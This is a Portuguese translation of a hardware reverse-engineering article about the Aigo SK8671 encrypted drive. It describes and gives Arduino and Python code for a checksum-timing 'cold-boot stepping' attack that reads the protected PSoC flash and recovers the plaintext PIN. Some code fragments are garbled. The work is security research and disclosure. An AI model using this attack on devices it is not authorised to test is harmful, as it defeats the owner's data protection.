Esta é a segunda e última parte do artigo sobre a invasão de unidades de armazenamento autoencriptadas externas. Lembro que, recentemente, um colega me trouxe um disco rígido Patriot (Aigo) SK8671, e decidi fazer a engenharia reversa nele; agora estou compartilhando os resultados. Antes de continuar, é imprescindível que você conheça artigo.

4. Começamos a extrair o dump da memória flash interna do PSoC
Portanto, tudo indica (como estabelecemos na [primeira parte]()) que o PIN é armazenado nas profundezas da flash do PSoC. Assim, precisamos ler essas profundezas da flash. O foco do trabalho necessário é:
- assumir o controle da "comunicação" com o microcontrolador;
- encontrar uma maneira de verificar se essa "comunicação" está protegida contra leitura externa;
- descobrir uma maneira de contornar a proteção.
Existem dois lugares onde faz sentido buscar o PIN ativo:
- memória flash interna;
- SRAM, onde o PIN pode ser armazenado para comparação com o PIN que o usuário insere.
Avançando um pouco, vale ressaltar que consegui extrair o dump da memória flash interna do PSoC, contornando seu sistema de proteção, utilizando um ataque de hardware chamado "rastramento com reinicialização a frio" – após a engenharia reversa das funcionalidades não documentadas do protocolo ISSP. Isso me permitiu extrair o dump do PIN ativo diretamente.
$ .\/psoc.py
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9Código fonte final:
- ;
- .
5. Protocolo ISSP
5.1. O que é ISSP
"Comunicação" com o microcontrolador pode significar coisas diferentes: de "fabricante para fabricante", até interações usando um protocolo serial (por exemplo, ICSP para o PIC da Microchip).
Para a Cypress, existe um protocolo proprietário chamado ISSP (in-system serial programming protocol; protocolo de programação serial em sistema), que é parcialmente descrito na . também fornece algumas informações. Há também um análogo Open Source chamado HSSP (usaremos isso um pouco mais tarde). O ISSP funciona da seguinte maneira:
- reinicializar o PSoC;
- enviar um número mágico para o pino de dados seriais deste PSoC; para entrar no modo de programação externa;
- enviar comandos que são longas cadeias de bits, chamadas de "vários vetores".
Na documentação do ISSP, esses vetores estão definidos apenas para um pequeno número de comandos:
- Initialize-1
- Initialize-2
- Initialize-3 (versões 3V e 5V)
- ID-SETUP
- READ-ID-WORD
- SET-BLOCK-NUM: 10011111010dddddddd111, onde dddddddd= número do bloco
- BULK ERASE
- PROGRAM-BLOCK
- VERIFY-SETUP
- READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, onde DDDDDDDD = saída de dados, aaaaaa = endereço (6 bits)
- WRITE-BYTE: 10010aaaaaadddddddd111, onde dddddddd = entrada de dados, aaaaaa = endereço (6 bits)
- SECURE
- CHECKSUM-SETUP
- READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, onde DDDDDDDDDDDDDDDD = saída de dados: soma de verificação do dispositivo
- ERASE BLOCK
Por exemplo, o vetor para Initialize-2:
1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111Todos os vetores têm o mesmo comprimento: 22 bits. A documentação do HSSP traz algumas informações adicionais sobre o ISSP: "O vetor ISSP nada mais é do que uma sequência de bits que representa um conjunto de instruções".
5.2. Desmistificação dos vetores
Vamos entender o que está acontecendo aqui. Inicialmente, eu supunha que esses vetores eram variantes brutas das instruções M8C, porém, ao verificar essa hipótese, descobri que os códigos de operação não coincidiam.
Em seguida, fui ao Google e me deparei com uma pesquisa onde o autor, embora não entre em detalhes, oferece algumas dicas úteis: "Cada instrução começa com três bits que correspondem a uma das quatro mnemônicas (ler da RAM, gravar na RAM, ler o registrador, gravar no registrador). Em seguida, há um endereço de 8 bits, seguido por 8 bits de dados (lidos ou para gravação) e, finalmente, três bits de parada".
Depois, consegui obter informações muito úteis na seção "Supervisory ROM (SROM)" . O SROM é uma ROM rigidamente codificada, no PSoC, que fornece funções de serviço (de maneira semelhante ao Syscall), para o código de programa rodando no espaço do usuário:
- 00h: SWBootReset
- 01h: ReadBlock
- 02h: WriteBlock
- 03h: EraseBlock
- 06h: TableRead
- 07h: CheckSum
- 08h: Calibrate0
- 09h: Calibrate1
Comparando os nomes dos vetores com as funções SROM, podemos correlacionar várias operações suportadas por este protocolo – com os parâmetros SROM esperados. Com isso, conseguimos decodificar os primeiros três bits dos vetores ISSP:
- 100 => "wrmem"
- 101 => "rdmem"
- 110 => "wrreg"
- 111 => "rdreg"
No entanto, a compreensão completa dos processos internos do chip só pode ser obtida com uma interação direta com o PSoC.
5.3. Comunicação com o PSoC
Como Dirk Pietrautski já O código HSSP da Cypress no Arduino, usei um Arduino Uno para me conectar ao conector ISSP da placa do teclado.
Observe que, durante minhas pesquisas, eu alterei bastante o código do Dirk. Minha modificação pode ser encontrada no GitHub: e o script Python correspondente para comunicação com o Arduino, no meu repositório .
Assim, ao aplicar o Arduino, eu inicialmente usei apenas os vetores "oficiais" para a "comunicação". Tentei ler a ROM interna usando o comando VERIFY. Como esperado, não consegui. Provavelmente devido ao fato de que os bits de proteção contra leitura estão ativados dentro da flash.
Em seguida, criei alguns dos meus próprios vetores simples para gravar e ler memória/registros. Observe que podemos ler toda a SROM, mesmo com a flash protegida!
5.4. Identificação dos registros internos do chip
Ao olhar para os vetores "desmontados", descobri que o dispositivo usa registros não documentados (0xF8-0xFA) para especificar os opcodes M8C, que são executados diretamente, contornando a proteção. Isso me permitiu executar vários opcodes, como "ADD", "MOV A, X", "PUSH" ou "JMP". Graças a eles (observando os efeitos colaterais que causam nos registros), consegui identificar quais dos registros não documentados são, de fato, registros comuns (A, X, SP e PC).
No final, o código "desmontado" gerado pela ferramenta HSSP_disas.rb parece assim (para clareza, adicionei comentários):
--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00 # reset de flags
[DE C0 1C] wrreg SP (f6), 0x00 # reset SP
[9F 07 5C] wrmem KEY1, 0x3A # argumento obrigatório para SSC
[9F 20 7C] wrmem KEY2, 0x03 # similarmente
[DE A0 1C] wrreg PCh (f5), 0x00 # reset PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03 # (LSB) ... até 3 ??
[9F 70 1C] wrmem POINTER, 0x80 # ponteiro RAM para os dados de saída
[DF 26 1C] wrreg opc1 (f9), 0x30 # Opcode 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40 # Opcode 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01 # BLOCK ID para chamar SSC
[DE 00 DC] wrreg A (f0), 0x06 # número "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00 # Opcode para SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12 # Operação não documentada: executar opcode externo
5.5. Bits de proteção
Neste ponto, já consigo me comunicar com o PSoC, mas ainda não tenho informações confiáveis sobre os bits de proteção da flash. Fiquei muito surpreso ao descobrir que a Cypress não fornece ao usuário do dispositivo nenhuma ferramenta para verificar se a proteção está ativada. Eu fui mais fundo no Google para entender completamente que o código HSSP, fornecido pela Cypress, foi atualizado após Dirk ter lançado sua modificação. E aqui está! Apareceu um novo vetor:
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # argumentos desconhecidos
[9F E0 1C] wrmem 0xFF, 0x00 # similarmente
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10 # syscall não documentado !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Utilizando este vetor (veja read_security_data em psoc.py), obtemos todos os bits de proteção na SRAM em 0x80, onde cada bloco protegido possui dois bits.
O resultado é desanimador: tudo está protegido no modo "desativar leitura e escrita externas". Portanto, não conseguimos ler nada da flash e nem gravar (para, por exemplo, implantar um ROM-dumper). E a única maneira de desativar a proteção é apagar completamente todo o chip. 🙁
6. Primeiro ataque (mal sucedido): ROMX
No entanto, podemos tentar fazer o seguinte truque: como temos a capacidade de executar códigos de operação arbitrários, por que não executar o ROMX, que é usado para ler a memória flash? Essa abordagem tem boas chances de sucesso. Isso porque a função ReadBlock, que lê dados do SROM (que é utilizada pelos vetores), verifica se está sendo chamada do ISSP. No entanto, o código de operação ROMX, supostamente, pode não ter essa verificação. Aqui está o código Python (após adicionar algumas classes auxiliares ao código C do Arduino):
for i in range(0, 8192):
write_reg(0xF0, i>>8) # A = 0
write_reg(0xF3, i&0xFF) # X = 0
exec_opcodes("x28x30x40") # ROMX, HALT, NOP
byte = read_reg(0xF0) # ROMX lê ROM[A|X] em A
print "x" % ord(byte[0]) # imprime byte ROMInfelizmente, este código não funciona. 🙁 Na verdade, funciona, mas recebemos nossos próprios códigos de operação como saída (0x28 0x30 0x40)! Não acho que a funcionalidade correspondente do dispositivo seja um elemento de proteção contra leitura. Isso parece mais um truque de engenharia: ao executar códigos de operação externos, o barramento ROM é redirecionado para um buffer temporário.
7. Segundo ataque: rastreio com reinicialização a frio
Como o truque com o ROMX não funcionou, comecei a pensar em outra variação desse truque – descrito em uma publicação .
7.1. Implementação
Na documentação do ISSP, o seguinte vetor é fornecido para CHECKSUM-SETUP:
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Aqui, na verdade, é feita a chamada da função SROM 0x07, conforme apresentado na documentação (itálico meu):
Essa função verifica a soma de verificação. Ela calcula uma soma de verificação de 16 bits para a quantidade de blocos especificada pelo usuário – em um único banco de flash, contando a partir de zero. O parâmetro BLOCKID é utilizado para transmitir a quantidade de blocos que será usada no cálculo da soma de verificação. O valor "1" calculará a soma de verificação apenas para o bloco zero; enquanto "0" fará com que a soma de verificação total de todos os 256 blocos do banco de flash seja calculada. A soma de verificação de 16 bits é retornada através de KEY1 e KEY2. No parâmetro KEY1 são registradas os 8 bits menos significativos da soma de verificação, e no KEY2 – os 8 bits mais significativos. Para dispositivos com vários bancos de memória flash, a função de soma de verificação é chamada para cada um deles separadamente. O número do banco com o qual ela irá operar é definido pelo registro FLS_PR1 (definindo nele o bit correspondente ao banco de flash de destino).
Observe que esta é uma soma de verificação simples: os bytes são simplesmente somados um após o outro; não há truques CRC sofisticados. Além disso, sabendo que no núcleo M8C o conjunto de registros é muito pequeno, eu presumi que, ao calcular a soma de verificação, os valores intermediários seriam armazenados nas mesmas variáveis que acabariam saindo: KEY1 (0xF8) / KEY2 (0xF9).
Portanto, em teoria, meu ataque se apresenta da seguinte forma:
- Conectamo-nos via ISSP.
- Iniciamos o cálculo da soma de verificação, utilizando o vetor CHECKSUM-SETUP.
- Reiniciamos o processador após o tempo T especificado.
- Lemos a RAM para obter a soma de verificação atual C.
- Repetimos os passos 3 e 4, aumentando um pouco o T a cada vez.
- Recuperamos os dados da flash, subtraindo a soma de verificação anterior C da atual.
No entanto, surgiu um problema: o vetor Initialize-1, que devemos enviar após o reinício, sobrescreve KEY1 e KEY2:
1100101000000000000000 # Magia que coloca o PSoC em modo de programação
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # a soma de verificação é sobrescrita aqui
[9F 20 7C] wrmem KEY2, 0x03 # e aqui
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09 # Função SROM 9
[DF 00 1C] wrreg opc0 (f8), 0x00 # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Este código apaga nossa preciosa soma de verificação, chamando Calibrate1 (Função SROM 9)… Talvez possamos, simplesmente enviando um número mágico (do início do código acima), entrar em modo de programação e então ler a SRAM? E sim, isso funciona! O código Arduino que implementa esse ataque é bastante simples:
case Cmnd_STK_START_CSUM:
checksum_delay = ((uint32_t)getch())<<24;
checksum_delay |= ((uint32_t)getch())<<16;
checksum_delay |= ((uint32_t)getch())< 10000) {
ms_delay = checksum_delay/1000;
checksum_delay = checksum_delay00;
}
else {
ms_delay = 0;
}
send_checksum_v();
if(checksum_delay)
delayMicroseconds(checksum_delay);
delay(ms_delay);
start_pmode();- Ler checkum_delay.
- Iniciar o cálculo da soma de verificação (send_checksum_v).
- Aguarde um intervalo de tempo específico, considerando as seguintes armadilhas:
- gastei muito tempo até descobrir que, na verdade, funciona corretamente apenas com atrasos não superiores a 16383 μs;
- e então gastei o mesmo tempo novamente até descobrir que delayMicroseconds, se receber 0 como entrada, funciona completamente errado!
- Reinicie o PSoC em modo de programação (envie simplesmente o número mágico, sem enviar vetores de inicialização).
O código final em Python:
for delay in range(0, 150000): # atraso em microssegundos
for i in range(0, 10): # número de leituras para cada atraso
try:
reset_psoc(quiet=True) # reiniciar e entrar no modo de programação
send_vectors() # enviar vetores de inicialização
ser.write("x85"+struct.pack(">I", delay)) # calcular checksum + reiniciar após o atraso
res = ser.read(1) # ler ACK do Arduino
except Exception as e:
print e
ser.close()
os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # abrir porta serial
continue
print "d X X X" % (delay, # ler bytes RAM
read_regb(0xf1),
read_ramb(0xf8),
read_ramb(0xf9))Em resumo, o que este código faz:
- Reinicia o PSoC (e envia o número mágico para ele).
- Envia vetores de inicialização completos.
- Chama a função do Arduino Cmnd_STK_START_CSUM (0x85), onde a duração em microssegundos é passada como parâmetro.
- Lê a soma de verificação (0xF8 e 0xF9) e o registro não documentado 0xF1.
Esse código é executado 10 vezes em 1 microssegundo. O 0xF1 foi incluído aqui porque era o único registro que mudava quando a soma de verificação era calculada. Pode ser alguma variável temporária usada pela unidade aritmética e lógica. Observe o hack feio que usei para reiniciar o Arduino, utilizando picocom, quando o Arduino para de responder (não tenho ideia do porquê).
7.2. Lendo o resultado
O resultado da execução do script Python é assim (simplificado para facilitar a leitura):
DELAY F1 F8 F9 # F1 – registro desconhecido mencionado acima
# F8 byte inferior do checksum
# F9 byte superior do checksum
00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00 # checksum redefinido para 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00 # 1º byte: 0x0080-0x0000 = 0x80
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00 # 2º byte: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01 # não faço ideia do que está acontecendo aqui
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00 # De novo E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00 # Hmmmmmm
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01 # Ah, entendi! Aqui é onde o valor é transferido para o byte superior
00063 01 17 01
[...]
00075 CC 17 01 # Então, 0x117-0xE7: 0x30No entanto, temos um problema: como estamos lidando com o checksum real, o byte zero não altera o valor lido. No entanto, como toda a procedure de cálculo (8192 bytes) leva 0,1478 segundos (com pequenas variações em cada execução), o que corresponde a cerca de 18,04 microssegundos por byte, – podemos usar esse tempo para verificar o valor do checksum em momentos apropriados. Nas primeiras execuções, tudo é lido relativamente fácil, pois a duração da execução da procedure de cálculo é praticamente sempre a mesma. No entanto, o final deste dump é menos preciso, pois as "pequenas variações de tempo" em cada execução se acumulam e se tornam significativas:
134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DDEsta é a 10ª série de dumps para cada atraso de microssegundos. O tempo total para capturar o dump de todos os 8192 bytes da flash drive é de cerca de 48 horas.
7.3. Reconstrução do binário da flash
Ainda não terminei de escrever o código que reconstruirá completamente o código de software da flash, levando em consideração todas as variações de tempo. No entanto, eu já recuperei o começo desse código. Para garantir que fiz isso corretamente, eu desmontei-o usando m8cdis:
0000: 80 67 jmp 0068h ; Vetor de reset
[...]
0068: 71 10 or F,010h
006a: 62 e3 87 mov reg[VLT_CR],087h
006d: 70 ef and F,0efh
006f: 41 fe fb and reg[CPU_SCR1],0fbh
0072: 50 80 mov A,080h
0074: 4e swap A,SP
0075: 55 fa 01 mov [0fah],001h
0078: 4f mov X,SP
0079: 5b mov A,X
007a: 01 03 add A,003h
007c: 53 f9 mov [0f9h],A
007e: 55 f8 3a mov [0f8h],03ah
0081: 50 06 mov A,006h
0083: 00 ssc
[...]
0122: 18 pop A
0123: 71 10 or F,010h
0125: 43 e3 10 or reg[VLT_CR],010h
0128: 70 00 and F,000h ; Modo de pagina alterado de 3 para 0
012a: ef 62 jacc 008dh
012c: e0 00 jacc 012dh
012e: 71 10 or F,010h
0130: 62 e0 02 mov reg[OSC_CR0],002h
0133: 70 ef and F,0efh
0135: 62 e2 00 mov reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff jmp 013bh
013d: 50 08 mov A,008h
013f: 7f retParece bastante plausível!
7.4. Encontrando o endereço de armazenamento do PIN
Agora que podemos ler a soma de verificação nos momentos certos, podemos facilmente verificar como e onde ela muda quando:
- digitamos um PIN inválido;
- alteramos o PIN.
Primeiro, para encontrar o endereço aproximado de armazenamento, eu capturei um dump da soma de verificação a cada 10 ms, após reiniciar. Em seguida, digitei um PIN inválido e fiz o mesmo.
O resultado foi bastante decepcionante, pois houve muitas mudanças. Mas, no final, consegui determinar que a soma de verificação mudou em algum lugar entre 120.000 microssegundos e 140.000 microssegundos de atraso. Mas o "PIN" que encontrei lá estava absolutamente errado — por causa do artefato do procedimento delayMicroseconds, que faz coisas incompreensíveis quando recebe 0.
Depois de gastar quase 3 horas, lembrei que a chamada de sistema SROM CheckSum recebe um argumento que define o número de blocos para a soma de verificação! Assim, podemos localizar facilmente o endereço do armazenamento do PIN e do contador de "tentativas inválidas" com precisão até 64 bytes.
Meus testes iniciais deram o seguinte resultado:

Em seguida, alterei o PIN de "123456" para "1234567" e obtive:

Portanto, o PIN e o contador de tentativas inválidas parecem estar armazenados no bloco nº 126.
7.5. Capturando o dump do bloco nº 126
O bloco nº 126 deve estar localizado em algum lugar em torno de 125x64x18 = 144.000 microssegundos, a partir do início do cálculo da soma de verificação, em meu dump completo, e parece bastante plausível. Então, após uma filtragem manual de numerosos dumps inválidos (devido ao acúmulo de "pequenas variações de tempo"), consegui os seguintes bytes (com um atraso de 145.527 microssegundos):

É evidente que o PIN é armazenado em texto não criptografado! Esses valores não estão escritos em códigos ASCII, mas como se viu, refletem as leituras obtidas a partir do teclado capacitivo.
Finalmente, realizei mais alguns testes para descobrir onde o contador de tentativas inválidas é armazenado. Aqui estão os resultados:

0xFF – significa '15 tentativas', e diminui a cada tentativa inválida.
7.6. Recuperação do PIN
Aqui está meu código feio que reúne tudo que foi dito acima:
def dump_pin():
pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
last_csum = 0
pin_bytes = []
for delay in range(145495, 145719, 16):
csum = csum_at(delay, 1)
byte = (csum-last_csum)&0xFF
print "d x (x) => x" % (delay, csum, last_csum, byte)
pin_bytes.append(byte)
last_csum = csum
print "PIN: ",
for i in range(0, len(pin_bytes)):
if pin_bytes[i] in pin_map:
print pin_map[pin_bytes[i]],
printAqui está o resultado da execução:
$ .\/psoc.py
syncing: KO OK
Resetando PSoC: KO Resetando PSoC: KO Resetando PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9Uhu! Funciona!
Observe que os valores de atraso que usei provavelmente são relevantes para um PSoC específico – aquele que eu utilizei.
8. E agora?
Então, vamos resumir do lado do PSoC, no contexto do nosso armazenamento Aigo:
- podemos ler SRAM, mesmo que seja protegida contra leitura;
- podemos contornar a proteção contra leitura usando um ataque de "tracing com cold reboot" e leitura direta do PIN.
No entanto, nossa ataque tem algumas lacunas devido a problemas de sincronização. Ele poderia ser melhorado da seguinte forma:
- escrevendo um utilitário para decodificar corretamente os dados de saída obtidos da ataque "tracing com cold reboot";
- usando um FPGA para criar atrasos temporais mais precisos (ou usando timers de hardware do Arduino);
- tentar mais um ataque: inserir um PIN incorreto, reiniciar e extrair a RAM, esperando que o PIN correto esteja salvo na RAM para comparação. No entanto, fazer isso em uma Arduino não é tão simples, pois o nível de sinal da Arduino é de 5 volts, enquanto a placa que estamos analisando opera com sinais de 3,3 volts.
Uma coisa interessante que poderíamos tentar – brincar com o nível de tensão, para contornar a proteção de leitura. Se essa abordagem funcionasse, poderíamos obter dados absolutamente precisos do pen drive, em vez de confiar na leitura da soma de verificação com atrasos de tempo imprecisos.
Como o SROM provavelmente lê os bits de proteção através da chamada de sistema ReadBlock, poderíamos fazer o mesmo que no blog de Dmitry Nedosposov – uma reimplementação do ataque de Chris Gerlinski, anunciado na conferência .
Outra coisa divertida que poderíamos fazer – desgastar a embalagem do chip: para extrair o dump da SRAM, identificar chamadas de sistema não documentadas e vulnerabilidades.
9. Conclusão
Portanto, a proteção deste dispositivo deixa a desejar, pois ele utiliza um microcontrolador comum (não "reforçado") para armazenar o PIN… Além disso, ainda não analisei (até agora) como está a criptografia de dados nesse dispositivo!
O que posso recomendar para a Aigo? Após analisar alguns modelos de HDDs criptografados, em 2015 eu fiz na SyScan, onde examinei problemas de segurança de vários HDDs externos e ofereci recomendações sobre o que poderia ser melhorado. 🙂
Dediquei dois finais de semana e várias noites a esta pesquisa. No total, cerca de 40 horas. Contando desde o início (quando abri o disco) até o final (o dump do PIN). Essas 40 horas incluem o tempo que passei escrevendo este artigo. Foi uma jornada muito interessante.
Fonte: habr.com
